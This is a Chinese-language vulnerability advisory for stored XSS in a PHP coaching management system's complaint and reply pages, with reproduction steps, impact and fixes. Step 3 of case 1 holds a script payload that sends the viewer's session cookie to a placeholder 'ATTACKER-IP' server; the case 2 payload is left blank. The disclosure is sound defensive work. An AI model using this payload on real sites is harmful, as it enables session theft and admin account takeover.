CVE-2026-7222-XSS

教练管理系统中的存储型跨站脚本（XSS）漏洞导致账户劫持

产品

基于 PHP 的教练管理系统（Code-Projects.org） https://code-projects.org/coaching-management-system-in-php-with-source-code/

受影响组件

• /modules/student/complaint.php（投诉提交）
• /modules/admin/incomingcomplaint.php（投诉查看）
• 投诉回复功能（管理员/教师 → 学生）

版本

未知（供应商未提供版本信息；测试基于截至2026年4月 Code-Projects.org 提供的最新可用版本）

漏洞类型

CWE-79：Web 页面生成过程中的输入未适当中和（存储型跨站脚本）

描述

该应用未能正确清理投诉和回复功能中用户提供的输入。低权限用户注入的恶意 JavaScript 在更高权限用户（如管理员或教师）查看时被存储并执行。

此外，回复功能同样存在漏洞，允许管理员或教师在学生会话中注入并执行 JavaScript。

这导致影响多个用户角色的存储型 XSS 漏洞。

复现步骤

案例1：学生 → 管理员（权限提升）

1. 以学生身份登录

2. 导航至： /modules/student/complaint.php

3. 提交包含以下有效负载的投诉：

<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>

4. 以管理员身份登录

5. 导航至： /modules/admin/incomingcomplaint.php

6. 当管理员查看投诉时，有效负载自动执行

7. 管理员会话 cookie 被发送至攻击者控制的服务器

8. 使用窃取的会话 cookie 劫持管理员会话

   

案例2：管理员 → 学生（反向 XSS）

1. 以管理员身份登录
2. 使用以下有效负载回复投诉：

3. 以学生身份登录
4. 查看投诉回复

概念验证证据

• 在管理面板查看恶意投诉后确认 JavaScript 执行
• 通过攻击者控制的服务器成功外泄会话 cookie（PHPSESSID）
• 使用窃取的 cookie 成功劫持管理员会话
• 通过回复功能在学生面板确认 JavaScript 执行

影响

• 低权限用户（学生）可在管理员上下文中执行任意 JavaScript
• 由于缺少 HttpOnly 标志，导致会话劫持
• 完全的管理员账户劫持
• 双向 XSS 可危及多个角色（管理员、教师、学生）
• 完全破坏应用的完整性、保密性和可用性

严重性：严重

根本原因

• 缺少输入清理
• 输出编码缺失
• 会话 cookie 缺少安全控制（未设置 HttpOnly 标志）

建议

• 清理并验证所有用户输入
• 使用 php 的 htmlspecialchars() 等函数对输出进行编码
• 为会话 cookie 设置 HttpOnly 和 Secure 标志
• 实施内容安全策略 (CSP)